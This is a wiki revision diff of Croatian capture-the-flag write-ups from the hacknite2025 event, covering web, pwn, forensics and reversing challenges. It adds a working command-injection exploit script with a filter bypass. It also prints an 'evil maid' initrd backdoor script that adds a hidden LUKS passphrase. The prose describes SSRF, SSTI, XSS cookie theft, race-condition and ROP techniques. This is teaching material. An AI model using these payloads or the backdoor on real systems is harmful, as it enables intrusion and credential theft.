 http://chal.platforma.hacknite.hr:14015/docs/apidocs.txt http://chal.platforma.hacknite.hr:14015/docs/apidocs.txt
 </file> </file>
  
-poruka je +dobije se poruka 
  
 <file> <file>
Line 3155: Line 3160:
 </file> </file>
  
-Vide se endpointovi, među kojima se vidi i endpoint+Dostupan je pregled endpointova, među kojima se vidi i "flag" endpoint
  
 <file> <file>
Line 3165: Line 3170:
  
  
-Tu se može vidjeti da se traženjem guest pristupa, šalje hash+Može se vidjeti da se traženjem guest pristupa, šalje hash
  
 <file> <file>
Line 3180: Line 3185:
 Unosom ovog hasha na [[ https://crackstation.net/ | crackstation]] Unosom ovog hasha na [[ https://crackstation.net/ | crackstation]]
  
-vidi se da je ovo sha256 sažetak od teksta+vidi se da je to SHA256 sažetak riječi:
  
 <file> <file>
Line 3233: Line 3238:
 </file> </file>
     
-Unosom poveznice interne lokacije na koju je premješten admin.html  +Unosom poveznice interne lokacije na koju je premješten admin.html, vraća se greška da se točke ne prihvaćaju u hostnameu.
  
-Vraća se greška da se točke ne prihvaćaju u hostnameu. 
  
- +IP adresa se može zapisati u oktalnom zapisu, gdje nema točaka.
-IP adresa se može zapisati u oktalnom zapisu, u kojem nema točaka.+
  
 Za ovo postoji web [[https://www.browserling.com/tools/ip-to-oct | konverter IP adrese u oktalni zapis]].  Za ovo postoji web [[https://www.browserling.com/tools/ip-to-oct | konverter IP adrese u oktalni zapis]].
     
     
-Rezultat konvertiranja localhost (127.0.0.1) adrese u oktalnu bez točaka je:+Rezultat konverzije localhost (127.0.0.1) adrese u oktalni format bez točaka je:
     
 <file> <file>
Line 3249: Line 3252:
 </file> </file>
     
-Ovime se može riješiti zadatak+Ovime je zadatak riješen.
  
 <file> <file>
Line 3265: Line 3268:
 Uz zadatak je dan i izvorni kod zadatka. Uz zadatak je dan i izvorni kod zadatka.
  
-Ovaj zadatak ima [[race condition | Race condition]] ranjivost, gdje skripta koja se učitala, čak i ako ju server ocijeni opasnom i odluči obrisati, i dalje može izvršiti ako se zahtjev za izvršavanje skripte pošalje odmah nakon što se skripta učita.+Ovaj zadatak ima ranjivost tipa [[race condition | Race condition]], gdje se skripta koja se učitala, čak i ako ju server ocijeni opasnom i odluči obrisati, i dalje može izvršiti ako se zahtjev za izvršavanje skripte pošalje odmah nakon što se skripta učita.
  
 Skripti se ime datoteke pri učitavanju pretvori u sha256 sažetak imena skripte s dodanom ekstenzijom .py. Skripte se pokreću preko endpointa Skripti se ime datoteke pri učitavanju pretvori u sha256 sažetak imena skripte s dodanom ekstenzijom .py. Skripte se pokreću preko endpointa
Line 3274: Line 3277:
  
  
-Ako se napravi skripta koja će učitati skriptu koja čita flag, te odmah nakon toga poslati zahtjev za izvršavanje te skripte na opisani endpoint, može se ostvariti izvršavanje skripte čitati rezultat izvršavanja.+Ako se kreira skripta koja uploada skriptu za čitanje flaga i odmah nakon toga pošalje zahtjev za njeno izvršavanje na opisani endpoint, uploadana skripta će se izvršiti flag će se pročitati i biti ispisan.
  
  
Line 3414: Line 3417:
  
 Ranjivost ovog zadatka je [[ssti|SSTI]]. Ranjivost ovog zadatka je [[ssti|SSTI]].
-Python kod unesen preko "session_id" kolacija se može izvršiti pri renderu jinja2 templatea, ako se stavi unutar oznaka duplih vitičastih zagrada. Kod unutar tog kolačića se može izvršiti samo pri prikazu poruke greške, koja je javlja pri neispravnom "session" kolačiću.+ 
 +Python kod unesen preko 'session_id' kolačića može se izvršiti prilikom renderiranja Jinja2 templatea, ako se stavi unutar oznaka duplih vitičastih zagrada. Kod unutar tog kolačića se može izvršiti samo pri prikazu poruke greške, koja je javlja pri neispravnom "session" kolačiću.
  
 Oblik payload kolačića je: Oblik payload kolačića je:
Line 3424: Line 3428:
  
  
-Nakon uspješne potvrde pokretanja koda,potrebno je korištenjem MRO-a pronaći dostupne module i funkcije kojima se može pročitati flag, te ih iskoristiti.+Nakon potvrde izvršenja koda, potrebno je korištenjem MRO-a pronaći dostupne module i funkcije kojima se može pročitati flag, te ih iskoristiti.
  
 Skripta koja radi opisano, analizira dostupne module i koristi za čitanje flaga je dana u nastavku. Skripta koja radi opisano, analizira dostupne module i koristi za čitanje flaga je dana u nastavku.
Line 3559: Line 3563:
 </file> </file>
  
-što čini ovaj zadatak blind, jer odgovor svakog upita mora biti broj između 0 i 4.+To čini zadatak "blind", jer je odgovor svakog upita broj između 0 i 4, koji se potom mapira na znak iz skupa A–F.
  
  
Line 3759: Line 3763:
 </file> </file>
  
-Greška u implementaciji je u načinu kako funkcija podnosi invalid bajt, ako naiđe na invalid bajt, preskače se ta iteracija petlje s **continue** statementom, čime će se preskočiti inkrementiranje **$copyIdx** indeksa, dok će indeks **$i** biti uvećan.+Greška u implementaciji se nalazi u načinu na koji funkcija obrađuje invalid bajt. Ako naiđe na invalid bajt, preskače se ta iteracija petlje s **continue** statementom, čime će se preskočiti inkrementiranje **$copyIdx** indeksa, dok će indeks **$i** biti uvećan.
  
  
Line 3819: Line 3823:
 Korisnički unos dan preko stranice se na nesiguran način izvršava kao bash naredba s pomoću subprocess modula. Korisnički unos dan preko stranice se na nesiguran način izvršava kao bash naredba s pomoću subprocess modula.
  
-Zadatak ima filter na ulazu, kojim su zabranjeni određeni unosi, te validaciju na prije povratka rezultata izvršene komande, da rezultat izvršavanja mora odgovarati sha265 regexu.+Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu.
  
-Zadatak se može riješiti na više načina, nakon Što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i paddat da odgovara sha256 regexu, ili se mogu izvršavati blind upiti, gdje su pitanja npr. u obliku "ako je tvrda točna vrati sha256(1), ako je tvrdnja netočna vrati sha256(0), kao Što je u skripti rješenja zadatka.+Zadatak se može riješiti na više načina, nakon što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i dopunit da odgovara SHA256 regexu, ili se mogu izvršavati blind upiti, gdje su pitanja npr. u obliku "ako je tvrda točna vrati sha256(1), ako je tvrdnja netočna vrati sha256(0), kao što je u skripti rješenja zadatka.
  
-Također se zadatak može riješiti i crackanjem vraćenog sha256 hasha unutar kojega je i vraćen flag, di je jedini nepoznati dio 12 znamenki korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, pa može pretražiti prostor u prihvatljivom vremenu.+Također se zadatak može riješiti i crackanjem vraćenog SHA256 hasha unutar kojega je i vraćen flag, gdje je jedini nepoznati dio 12 znamenki flaga. Korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, može se pretražiti nepoznati prostor u prihvatljivom vremenu.
  
-Skripta koja rješava zadatak s pomoću blind upita je u nastavku.+ 
 +Skripta koja rješava zadatak korištenjem Pythona i enkodiranjem flaga hex. 
 +<file> 
 +import requests 
 +import binascii 
 + 
 +# CONFIGURATION 
 +URL = "http://chal.platforma.hacknite.hr:14017/hash" 
 + 
 +def decode_response(hex_string): 
 +    try: 
 +        decoded_bytes = binascii.unhexlify(hex_string) 
 +        return decoded_bytes.decode('utf-8', errors='ignore'
 +    except Exception as e: 
 +        return f"Decoding Error: {e}" 
 + 
 +def solve(): 
 +    print("[*] Constructing Payload..."
 + 
 +    # 1. Generate the number 1 (for 'head -n 1') 
 +    # logic: count 'a' -> 1 
 +    one_gen = "one=$(printf a|wc -c);" 
 + 
 +    # 2. Generate the number 64 (for final truncation) 
 +    # logic: 64 'a's count 
 +    a_64 = 'a' * 64 
 +    len_gen = f"len=$(printf {a_64}|wc -c);" 
 + 
 +    # 3. Locate Python binary without using '3' 
 +    # 'ls /usr/local/bin/python?' matches '/usr/local/bin/python3' 
 +    # We pipe to 'head -n $one' to ensure we get just one line/binary 
 +    find_py = "py=$(ls /usr/local/bin/python?|head -n $one);" 
 + 
 +    # 4. Python One-Liner  
 +    # Reads stdin, strips whitespace, encodes to hex. 
 +    # No digits or blacklisted words used here. 
 +    py_cmd = "import sys;print(sys.stdin.read().strip().encode().hex())" 
 +     
 +    # 5. Construct the full pipeline 
 +    # head f* -> Read flag 
 +    # $py -c ... -> Hex encode it using the found python binary 
 +    # tr -d '\n' -> Safety cleanup (though .strip() does most work) 
 +    raw_gen = f"raw=$(head f*|$py -c '{py_cmd}'|tr -d '\\n');" 
 + 
 +    # 6. Padding Logic (same as before) 
 +    pad_str = 'a' * 64 
 +     
 +    # 7. Combine and Print 
 +    cmd_logic = ( 
 +        f"{one_gen}" 
 +        f"{len_gen}" 
 +        f"{find_py}" 
 +        f"{raw_gen}" 
 +        f"pad={pad_str};" 
 +        f"combined=$raw$pad;" 
 +        f"printf %s $combined|head -c $len" 
 +    ) 
 + 
 +    payload = f"' ; {cmd_logic} ; #" 
 + 
 +    print(f"[*] Payload: {payload}"
 +     
 +    json_data = {"user_input": payload} 
 + 
 +    try: 
 +        res = requests.post(URL, json=json_data, timeout=10) 
 +        response = res.json() 
 +         
 +        if response.get("success"): 
 +            returned_hash = response.get("hash", ""
 +            print(f"[*] Server returned: {returned_hash}"
 +             
 +            decoded = decode_response(returned_hash) 
 +            print("="*50) 
 +            print(f"[*] DECODED OUTPUT: {decoded}"
 +            print("="*50) 
 +        else: 
 +            print(f"[-] Server reported failure: {response.get('error')}"
 + 
 +    except Exception as e: 
 +        print(f"[!] Connection error: {e}"
 + 
 +if __name__ == "__main__": 
 +    solve() 
 +</file> 
 + 
 + 
 +Skripta koja rješava zadatak korištenjem Basha i generiranjem blind upita.
  
 <file> <file>
Line 3912: Line 4003:
 print(f"Exploit finished. Final Flag: {known_flag}") print(f"Exploit finished. Final Flag: {known_flag}")
 </file> </file>
 +
  
  
Line 3926: Line 4018:
 Ranjivost u ovom zadatku je [[xss napadi |XSS]]. Ranjivost u ovom zadatku je [[xss napadi |XSS]].
  
-U zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom, ali postavljanjem HOST vrijednosti u  "localhost" i postavljenjem PORT vrijednosti u 5000 (zadnja linija **app.py**, slično kao SSRF) umjesto URL-a stranice, kako bi admin bot koristio svoj cookie pri posjeti stranice, te potom JavaScript kodom u XSS-u se treba adminov cookie pročitati i poslati na vlastiti request basket.+U zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicomHOST se treba postaviti u  "localhost", a PORT u 5000 (zadnja linija **app.py**) umjesto URL-a stranice (sličan pristup kao kod SSRF-a), kako bi admin bot koristio svoj cookie pri posjetu stranice. Potom JavaScript kodom u XSS-u treba adminov cookie pročitati i poslati na vlastiti request basket.
  
  
Line 3974: Line 4066:
  
  
-Puno rješenje zadatka je napisano ovdje:+Rješenje zadatka dostupno je ovdje:
  
  
Line 3988: Line 4080:
 No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan. No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan.
  
-naredbom **file** nad datotekom ili **binwalk**, vidi se po odgovori da nije prepoznat file signature, kao ni ručnom inspekcijom pomoću alata **xxd**.+naredbom **file** nad datotekom ili **binwalk**, vidi se iz odgovora da nije prepoznat file signature, kao ni ručnom inspekcijom pomoću alata **xxd**.
  
  
-Zapravo je i sadržaj same datoteke izokrenut unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi izokrenuti unazad ili bitovi. Da su bajtovi izokrenuti unazad, na početku datoteke bi bili GNP bajtovi, no to nije slučaj.+Zapravo je i sadržaj same datoteke napisan unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi ili bitovi okrenuti unazad. Da su bajtovi izokrenuti, na početku datoteke bi bili GNP bajtovi, no to nije slučaj.
  
  
Line 4051: Line 4143:
  
  
-Ovaj efekt se može napraviti unazad, ili alatom kao što je GIMP ili Photoshop ili [[ https://www1.lunapic.com/editor/?action=swirl | online alatom]].+Ovaj efekt se može napraviti u suprotnom smjeru, ili alatom kao što je GIMP ili Photoshop ili [[ https://www1.lunapic.com/editor/?action=swirl | online alatom]].
  
 Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag. Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag.
Line 4075: Line 4167:
  
  
-Nakon ekstrakcije, pozicioniranjem u isti direktorij kao i slika, može se napraviti mountnegdje u korisnički user direktorij.+Nakon ekstrakcije, potrebno je pozicionirati se u isti direktorij kao i slika napraviti mount negdje u korisnički direktorij.
  
 <file> <file>
Line 4116: Line 4208:
  
  
-Sam LUKS alat također nije enkriptiran, jer je on upravo zaslužan za dekripciju datotečnog sustav, zato ga je dobro provjeriti za postojanje nekog backdoora, kao što je spomenuto u tekstu zadatka. Kako bi se LUKS provjerio, potrebno je pregledati initrd (initial RAMdisk, za vrijeme boota se koristi), srećom dostupan je i initrd backup.+Sam LUKS alat također nije enkriptiran, jer je on upravo zaslužan za dekripciju datotečnog sustava, zato ga je dobro provjeriti za postojanje nekog backdoora, kao što je spomenuto u tekstu zadatka. Kako bi se LUKS provjerio, potrebno je pregledati initrd (initial RAMdisk, za vrijeme boota se koristi), srećom dostupan je i initrd backup.
  
 <file> <file>
Line 4132: Line 4224:
 </file> </file>
  
-Sa binwalk se može napravit extract initrd i initrd backupa.+binwalk alatom se može napraviti extract initrd i initrd backupa.
  
 <file> <file>
Line 4162: Line 4254:
 **cpio** extract nema opciju odabira output direktorija. **cpio** extract nema opciju odabira output direktorija.
  
-Sada je cilj napraviti ekstrakt svih .cpio arihiva iz initrd i iz initrd.bak, te ih međusobno usporediti.+Sada je cilj napraviti ekstrakt svih .cpio arhiva iz initrd i iz initrd.bak, te ih međusobno usporediti.
  
 <file> <file>
Line 4183: Line 4275:
 </file> </file>
  
-Sada su svi cpio arhivi raspakirani i sve datoteke u initrd i initrd backupu su dostupne za analizu, prvo se može napraviti analiza datoteka koje postoje u jednom a ne u drugom, a potom razlike unutar samih datoteka.+Sada su svi cpio arhivi raspakirani i sve datoteke u initrd i initrd backupu su dostupne za analizu,može napraviti analiza datoteka koje postoje u jednoma ne u drugom, kao i razlike unutar samih datoteka, naredbom **diff**. 
 + 
 + 
 +<file> 
 +~/mountTemp$ diff -r initrdEX initrdEXbak 
 +Only in initrdEX/bin: notabackdoor 
 +... 
 +diff -r initrdEX/scripts/local-top/cryptroot initrdEXbak/scripts/local-top/cryptroot 
 +301c301 
 +<      $cryptkeyscript "$cryptkey" | notabackdoor "$cryptsource" | $cryptopen; then 
 +--- 
 +>      $cryptkeyscript "$cryptkey" | $cryptopen; then 
 +... 
 +</file> 
 + 
 +Vidi se da samo u initrd/bin postoji datoteka **"notabackdoor"** koja ne postoji u backupu (starijem stanju) i da se koristi u ključnim operacijama otključavanja datotečnog sustava. 
 + 
 +Taj file se može pročitati **cat** naredbom. 
 + 
 + 
 +<file> 
 +~/mountTemp$ cat ./initrdEX/bin/notabackdoor  
 +#!/bin/sh 
 + 
 +# Read piped input 
 +read passphrase 
 + 
 +backdoor_passphrase="yhinAe4Zdq" 
 +#echo -ne "$passphrase\n$backdoor_passphrase\n" | cryptsetup luksAddKey $1 -T1 > /dev/null 2>&
 +echo -ne "$passphrase\n$backdoor_passphrase\n" | cryptsetup -v luksAddKey $1 -T1 1>&
 + 
 +# Echo passphrase out to continue being used in the next pipe 
 +echo -n "$passphrase" 
 + 
 +# Erase all traces we were ever here 
 +#rm "$0" 
 +# TODO: replace the backdoored line with the original 
 + 
 +exit 0 
 +</file> 
 + 
 + 
 +Tu se vidi da je postavljen "backdoor_passphrase"
 + 
 +<file> 
 +backdoor_passphrase="yhinAe4Zdq" 
 +</file> 
 + 
 +Pokušajem unosa ovog passworda za otključavanje datotečnog sustava, datotečni sustav se uspješno otključa. 
 + 
 + 
 + 
 +{{ hacknite2025:luksDecrypt.png?nolink&500 | Otključavanje datotečnog sustava }} 
 + 
 + 
 +Sada se može pronaći gdje se nalazi flag datoteka naredbom **find** te potom pročitati naredbom **cat**. 
 + 
 + 
 +<file> 
 +...$ find ./ -name "*flag.txt" 2>/dev/null 
 +./home/marko/Desktop/flag.txt 
 + 
 +...$ cat ./home/marko/Desktop/flag.txt 
 +CTF2025[2623........] 
 +</file> 
 + 
 +Kada ste gotovi napravite unmount. 
 + 
 +<file> 
 +sudo umount /mount 
 +sudo qemu-nbd --disconnect /dev/nbd0 
 +sudo modprobe -r nbd 
 +</file> 
 + 
 + 
 +Ovaj zadatak se temelji na forenzici [[https://github.com/nyxxxie/de-LUKS | "evil maid" napada]]. 
  
  
Line 4202: Line 4370:
  
  
-Nakon ekstrakcija datoteke, potrebno je napraviti  mount QCOW2 slike.+Nakon ekstrakcije datoteke, potrebno je napraviti  mount QCOW2 slike.
  
 Za to je potreban paket **qemu-utils** Za to je potreban paket **qemu-utils**
Line 4257: Line 4425:
  
  
-U direktoriju ovog korisnika, jedni od zanimljivijih datoteka su **places.sqlite** i **places.sqlite-wal** (iako je u ovom slučaju prazan, sve iz njega je već zapisano u places.sqlite), koji zapisuju određene podatke o posjećenim stranicama+U direktoriju ovog korisnika, neke od zanimljivijih datoteka su **places.sqlite** i **places.sqlite-wal** (iako je u ovom slučaju prazan, sve iz njega je već zapisano u places.sqlite), koji zapisuju određene podatke o posjećenim stranicama
  
 <file> <file>
Line 4273: Line 4441:
  
  
-Vidi se da ima više zabilježenih zapisa o stranici [[https://wplace.live/|wplace]], gdje korisnici mogu bojati piksele na mapi svijeta. No, kada se šalje zahtjev za postavljanje piksela, to se radi POST zahtjevom, a POST zahtjeve web preglednika ne bilježe, iako bilježe iznenađujuće puno drugih stvari...+Vidi se da ima više zabilježenih zapisa o stranici [[https://wplace.live/|wplace]], gdje korisnici mogu bojiti piksele na mapi svijeta. No, kada se šalje zahtjev za postavljanje piksela, to se radi POST zahtjevom, a web preglednici u pravilu ne bilježe POST zahtjeve, iako bilježe iznenađujuće puno drugih stvari.
  
  
-No ostalo je još nešto zanimljivo na među datotekama a to je [[https://www.cert.hr/wp-content/uploads/2018/11/owasp_zap.pdf| ZAP]].+Među datotekama se nalazi još nešto zanimljivoto je [[https://www.cert.hr/wp-content/uploads/2018/11/owasp_zap.pdf| ZAP]].
  
 <file> <file>
Line 4502: Line 4670:
 A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5. A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5.
  
-Format rješenja je 5 unesenih brojeva, od kojih zadnji broj ima potavljeni 18. bit s lijeva u 1. +Format rješenja je unos 5 brojeva, od kojih zadnji broj mora imati 18. bit slijeva postavljen na 1. 
  
 ...xx**1**xxxxxxxxxxxxxxxxx ...xx**1**xxxxxxxxxxxxxxxxx
Line 4564: Line 4732:
 Uz zadatak je dan i izvorni kod. Uz zadatak je dan i izvorni kod.
  
-Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa postaviti score u najvećmogući, te će odmah biti zadovoljen uvjet dovoljno visokog scorea za upis imena.+Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa biti postavljen na najvećmoguću vrijednost. Time će odmah biti zadovoljen uvjet dovoljno visokog scorea za upis imena.
  
 U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost. U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost.
Line 4580: Line 4748:
  
  
-Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. Može se prepisati adresa povratka, da se funkcija nakon povratka ne vrati u main, nego na početak izvršavanja funkcije **easter_egg** koja ispisuje flag.+Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. Adresa povratka se može prepisati preko buffer overflowatako da se funkcija nakon povratka ne vrati u main, nego na početak izvršavanja funkcije **easter_egg**koja ispisuje flag.
  
 <file> <file>
Line 4801: Line 4969:
 Uz zadatak je dan i izvorni kod. Uz zadatak je dan i izvorni kod.
  
-Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared objecta.+Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared libraryja.
  
 Rješenje zadatka je u nastavku. Rješenje zadatka je u nastavku.
Line 4848: Line 5016:
  
  
-Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], prepisivanju adrese i sadržaja virtualne tablice i string pointera.+Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], prepisivanju adrese i sadržaja virtualna tablica funkcija (vtable) te string pointera.
  
-Predzadnji upit u zadatku (**Ime i prezime>**) ima buffer overflow, kojime se treba u objektu mačka koji je na stogu iznad objekta kupac kojemu se upisuje ime i prezime, prepisati string pointer varijable naziv i prepisati pointer na virtualni tablicu funkcija da pokazuju oboje na istu adresu, koja je u .bss sekciji, na dijelu sekcije gdje nije ništa za što bi program prestao funkcionirati kad bi bilo prepisano (kao stdout npr).  +Predzadnji upit u zadatku (**Ime i prezime>**) ima buffer overflow, kojim se treba u objektu mačka koji je na stogu iznad objekta kupac kojemu se upisuje ime i prezime, prepisati string pointer varijable naziv i prepisati pointer na virtualnu tablicu funkcija da oboje pokazuju na istu adresu, koja je u .bss sekciji, na dijelu sekcije gdje nije ništa za što bi program prestao funkcionirati kad bi bilo prepisano (kao stdout npr).  
  
 Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje. Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje.
Line 4858: Line 5026:
  
  
-Sada je preostalo za zadnji unos upisati adresu funkcije **ret2win**, kako bi se adresa te funkcije preko prepisane adrese varijable naziv upisala u .bss sekciju i onda će se pri pozivu **z->zvuk();**, preko prepisane adrese virtualne tablice koja pokazuje na isto mjesto, umjesto funkcije zvuk, pozvati funkcija ret2win.+Preostalo je za zadnji unos upisati adresu funkcije **ret2win**, kako bi se adresa te funkcije preko prepisane adrese varijable naziv upisala u .bss sekciju i onda će se pri pozivu **z->zvuk();**, preko prepisane adrese virtualne tablice koja pokazuje na isto mjesto, umjesto funkcije zvuk, pozvati funkcija ret2win.
  
  
Line 4900: Line 5068:
 Uz zadatak je dan i izvorni kod zadatka. Uz zadatak je dan i izvorni kod zadatka.
  
-Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj dan programu, prema kojemu su određena brzina i početna pozicija sata.+Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj koji je dan programu, prema kojemu su određena brzina i početna pozicija sata.
  
 Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara. Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara.
Line 4988: Line 5156:
 ====Elemental Fighters==== ====Elemental Fighters====
  
-Puno rješenje zadatka je napisano ovdje:+Rješenje zadatka dostupno je ovdje:
  
  
Line 5002: Line 5170:
  
  
-Tehnika ovog rješenja je slična kao [[blind_sqli|Blind SQL injection]], no nema baze podataka nad kojom se šalju upiti, nego je tehnika upita bazirana na istom principu. FLAG varijabla je unutar samog sandbox okruženja koje jedino vraća odgovor je li se kod uspješno izvršio ili nije. Rješenje je ostvareno izvršavanjem Python koda nad FLAG varijablom oblika "Ako je tvrdnja točna, nemoj baciti grešku, ako je tvrdnja netočna, baci grešku" ili obrnuto (kao što je u skripti).+Tehnika ovog rješenja je slična kao [[blind_sqli|Blind SQL injection]], no nema baze podataka nad kojom se šalju upiti, nego je tehnika upita bazirana na istom principu. FLAG varijabla je unutar samog sandbox okruženjakoje jedino vraća odgovor je li se kod uspješno izvršio ili nije. Rješenje je ostvareno izvršavanjem Python koda nad FLAG varijablom u obliku: "Ako je tvrdnja točna, nemoj baciti grešku, ako je tvrdnja netočna, baci grešku" ili obrnuto (kao što je u skripti).
  
  
Line 5077: Line 5245:
  
  
-Potrebno je napisati program koji će pronaći validnu konfiguraciju točaka za zadane uvijete.+Potrebno je napisati program koji će pronaći validnu konfiguraciju točaka za zadane uvjete.
 Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom. Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom.
  
-Python skripta se može pokrenuti s "pypy" implementacijom Pythona, u kojem slučaju će se skripta značajno ubrzati.+Python skripta se može pokrenuti s "pypy" implementacijom Pythona, u kojem slučaju će se skripta značajno brže izvršavati.
  
 <file> <file>
Line 5086: Line 5254:
 </file> </file>
  
-nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja.+nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja.
  
  
Line 5296: Line 5464:
  
  
-Ako vas zanima više o ovom problemu, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu.+Ako vas zanima više, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu.
  
  
  
hacknite2025.1763062110.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki